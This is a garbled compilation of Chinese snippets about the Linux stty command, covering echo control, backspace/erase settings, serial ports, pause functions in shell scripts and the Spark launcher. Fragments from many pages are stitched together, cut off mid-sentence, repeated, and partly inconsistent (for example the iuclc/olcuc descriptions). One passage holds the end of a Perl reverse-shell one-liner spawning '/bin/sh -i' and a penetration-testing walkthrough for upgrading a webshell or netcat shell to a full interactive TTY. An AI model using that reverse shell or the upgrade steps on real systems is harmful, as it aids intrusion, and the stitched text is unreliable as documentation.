2.命令格式 stty [-F DEVICE | --file=DEVICE] [SETTING]... stty [-F DEVICE | --file=DEVICE] [-a|--all] stty 当不附加参数时,程序会输出波特率、行约束 规则以及与标准 stty 设置间的偏差。 stty iuclc (4)在命令行下允许输出大写的方法。 stty -iuclc (5)在命令行下禁止输出小写。 stty olcuc (6)在命令行下允许输出小写。 stty -olcuc (7)打印出终端的行数和列数。 stty size 28 149 (8)关闭回显。 stty -echo (9)开启回显。 stty echo (10)忽略回车符。 stty igncr ----
Linux中有个指令叫stty,全称是"set tty",意思是"设置tty",是一个用于显示和修改terminal相关设置的命令。 语法"stty [选项] [设置]",stty不带参数可以打印终端行设置,加上"-a"选项可以打印得更详细些。 可以通过将erase的值设置成"^H",实现能正常删除文字的效果, stty erase ^H
第5章 连接控制:学习stty 内核在进程与外部世界之间交换数据.外部世界包括磁盘文件,终端与外部 设备,磁盘文件与终端的链接有相似之处也有差异 磁盘文件与设备文件都有名字,属性,和权限位.标准文件系统调用 管理与设备链接的代码被称为设备驱动程序.通过使用fcntl ioctl,进程 可以读取和改变设备驱动程序的设置 到终端的链接是如此的重要,以致函数tcgetattr tcsetattr 专门用来提供 对终端驱动器的控制 Unix命令stty
stty 修改终端命令行的相关设置 补充说明 stty命令用于修改终端命令行的相关设置。 语法 stty [选项] [参数] 选项 -a:以容易阅读的方式打印当前的所有配置; -g:以stty可读方式打印当前的所有配置。 参数 终端设置:指定终端命令行的设置选项。 实例 在命令行下,禁止输出大写的方法: stty iuclc # 开启 stty -iuclc # 恢复 在命令行下禁止输出小写: stty olcuc # 开启 stty -olcuc 屏蔽显示: stty -echo # 禁止回显 stty echo # 打开回显 测试方法: stty -echo;read;stty echo;read 忽略回车符: stty igncr # 开启 stty -igncr # 恢复 定时输入: timeout_read() { timeout=$1 old_stty_settings=`stty -g` # save
="" # restore stty settings (echo in particular) function restoreSttySettings() { stty $saved_stty () { stty $saved_stty saved_stty="" } function onExit() { if [[ "$saved_stty" ! 回头看源码 有了对stty的了解后,回头我们看看spark-shell脚本,就清晰明了了。 saved_stty=$(stty -g 2>/dev/null) 首先保存了当前的终端配置。 ]]; then saved_stty="" fi 如果收到退出命令,就恢复stty状态。 参考 linux命令-stty stty 命令说明及使用讲解 Linux Trap命令
也是可以正常切换的,那么scp呢 linuxidc.example.com:~ # scp 1.txt linuxidc@192.168.1.90:/home/linuxidc Password: stty txt 100% 4、问题基本可以确定了,设置的stty环境变量有问题 linuxidc.example.com:~ # su - linuxidc linuxidc.example.com >echo $SHELL /usr/bin/csh linuxidc.example.com>cat .cshrc | grep stty stty erase "^H" kill "^U" intr "^C" eof "^D" susp "^Z" hupcl ixon ixoff tabs 5、注释stty环境变量 linuxidc.example.com>cat .cshrc | grep stty #stty erase "^H" kill "^U" intr "^C" eof "^D" susp "^Z" hupcl ixon ixoff tabs 6、执行scp和sftp,不再报错,问题解决
实例 显示当前终端 # tty /dev/pts/4 stty是什么 stty 其实就是 set tty stty erase 使用方法 说明 一般终端连接上去,Backspace键并未删除光标左面那个字符 ,仅仅显示^H,而DEL键完成了删除操作 终端默认 ctrl + backspace 为删除 [root@tudou ~]# stty -a speed 38400 baud; rows 51; columns $ stty erase "^H" (大小写不敏感) 这里输入"^H",就是两个字符,一个^,一个H。 同样,如果想恢复到DEL删除 $ stty erase ^? 执行 stty erase ^H 即可。 由于终端默认 ctrl + backspace 为删除 操作很不方便,这样设置后 直接 backspace 就能删除了
有时候需要加点暂停,分段来看,比较清晰 于是参考了一些实现,目前自己用的是这样子的 #add for debug by zqb function get_char() { SAVEDSTTY=`stty -g` stty -echo stty cbreak dd if=/dev/tty bs=1 count=1 2> /dev/null stty -raw stty echo stty $SAVEDSTTY } enable_pause=1 function pause() { if [ "x$1" !
Shell实现 主要的实现思路:stty实现串口波特率等的设置,cat实现内容的读取,echo实现串口输入。 修改串口终端设置 初始状态时,使用cat /dev/ttyUSB0可能会出现刷屏或者乱码,需使用stty进行相关参数设置。 通常使用的命令为stty -F /dev/serial_port raw port_speed。在该命令之后就可以使用echo/cat进行输入输出操作了。 具体操作如下: 首先使用stty获取当前串口默认值,从第一行开始分别是 串口波特率 Special characters Special settings Control settings Input 另,若只为设置串口,不需要human-readable,可使用stty-readable模式进行设置的导出和导入: [root@localhost ~]# stty -g -F /dev/ttyUSB0
分析 原因: 如果命令执行均正常,只是不显示键盘打印字符,那就只是stty的问题。我们通常会认为,敲了键盘,就应该有字出现在屏幕上。这是因为stty提供了字符回显。 各个把键盘键入的字符输出来的就是stty的输入回写功能,包括退格等字符处理,都是stty处理掉的。键盘给电脑的只有按键消息。 #关闭输入回显 stty -echo 解决: 怎么修复无回显的问题? #开启输入回显 stty echo
原因: 因为,stty关闭了输入回写。我们可能想当然的认为,敲了键盘,就应该有字出现在屏幕上。只是这个也是因为程序提供了这个功能。如果程序不写这个功能,我们可能就不会这样认为。 各个把键盘键入的字符输出来的就是stty的输入回写功能,包括退格等字符处理,都是stty处理掉的。键盘给电脑的只有按键消息。 #关闭输入回显 stty -echo 解决: 怎么解决这个问题? #开启输入回显 stty echo
,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; 连上webshell后我们尝试将shell升级为完全交互式的TTY 准备工作:需要在自己的终端上面检查STTY 和TERM的信息 用stty -a检查当前STTY信息 用echo $TERM检查当前终端 ? 环境的情况下就利用python的pty模块创建一个伪终端,命令如下:# python -c ’import pty;pty.spawn(“/bin/bash”)’ Step3:Ctrl-z将终端放入后台,将当前STTY 设置为raw,输入如下命令: # stty raw -echo Raw设置打开后,你可能会看不见下一条的输入,但是命令仍会执行,输入命令: # fg 将shell从后台中提出来,并重置它,输入如下命令进行重置 shell被提取到了前台,接下来我们输入以下三条指令去匹配我们当前的终端窗口(根据上面收集的信息) # export SHELL=bash # export TERM=xterm-256color # stty
基本操作就是在kali终端内设置一些stty选项,最终将“哑”netcat shell升级到了一个完全交互的TTY。 首先我们使用与方法1相同的技术来生成PTY。 现在我们来检查当前终端和STTY信息,所以我们可以强制连接到shell并匹配: ? 所需的信息是TERM类型(“xterm-256color”)和当前TTY的大小(38行;116列) 接着我们将当前STTY设置为raw(请确保shell仍在后台运行),并使用以下命令回显输入字符: stty raw -echo 使用raw stty,输入/输出将看起来有点奇怪,你可能看不到下一个命令,但是当你键入时,它们则会被执行。 最后一步是设置shell,终端类型和stty大小来匹配我们当前的Kali窗口(上面收集的信息)。
| awk -F"," '{print $1}' | awk -F"=" '{print $2}'` echo $master_name get_char() { SAVEDSTTY=`stty -g` stty -echo stty cbreak dd if=/dev/tty bs=1 count=1 2> /dev/null stty -raw stty echo stty $SAVEDSTTY } # 移除哨兵监控 /home/redis/redis-3.2.3/src/redis-cli -h 192.168.200.204 -p 30001
/bin/bash get_char() { SAVEDSTTY=`stty -g` stty -echo stty cbreak dd if=/dev/tty bs= 1 count=1 2> /dev/null stty -raw stty echo stty $SAVEDSTTY } # 1. /bin/bash get_char() { SAVEDSTTY=`stty -g` stty -echo stty cbreak dd if=/dev/tty bs= 1 count=1 2> /dev/null stty -raw stty echo stty $SAVEDSTTY } # 1.
properly even in # binary distribution of Spark where Scala is not installed exit_status=127 saved_stty ="" # restore stty settings (echo in particular) function restoreSttySettings() { stty $saved_stty saved_stty="" } function onExit() { if [[ "$saved_stty" ! =$(stty -g 2>/dev/null) # clear on error so we don't later try to restore them if [[ ! ]]; then saved_stty="" fi main "$@" # record the exit status lest it be overwritten: # then reenable
可通过stty命令修改终端配置来实现Backspace删除功能。 如下: $ id uid=1002(git) gid=1002(git) groups=1002(git) $ stty erase ^h 若要恢复Ctrl+Backspace组合键删除功能,可执行以下命令 : $ id uid=1002(git) gid=1002(git) groups=1002(git) $ stty erase ^?
/bin/bash read -p "请输入用户名:" user stty -echo read -p "请输入密码:" pass stty echo [ -z $user ] && echo "需要输入 exit [ -z $pass ] && exit useradd $user echo "$pass" | passwd --stdin $user 备注: read #输入 stty -echo #输入命令时不回显 stty echo #回显 [ -z $abc1 ] #测试abc1是否为空 脚本2: #!
{ #stty时一个用来改变并打印终端行设置的常用命令 stty iuclc # 在命令行下禁止输出大写 stty -iuclc # 恢复输出大写 stty olcuc # 在命令行下禁止输出小写 stty -olcuc # 恢复输出小写 stty size # 打印出终端的行数和列数 stty eof "string" # 改变系统默认ctrl+D来表示文件的结束 stty -echo # 禁止回显 stty echo # 打开回显 stty -echo;read;stty echo;read # 测试禁止回显 stty igncr # 忽略回车符 stty -igncr # 恢复回车符 stty erase '#' # 将#设置为退格字符 stty erase '^?'
方法2 实现 注:cat /dev/vcs1无换行符,直接输出会导致输出不直观,可通过stty获取对应终端宽度,然后使用fold格式化输出 [root@WorkFromHome tmp]# stty - fold and stty [root@WorkFromHome ~]# man stty stty - change and print terminal line settings ...... current settings in human-readable form -g, --save print all current settings in a stty-readable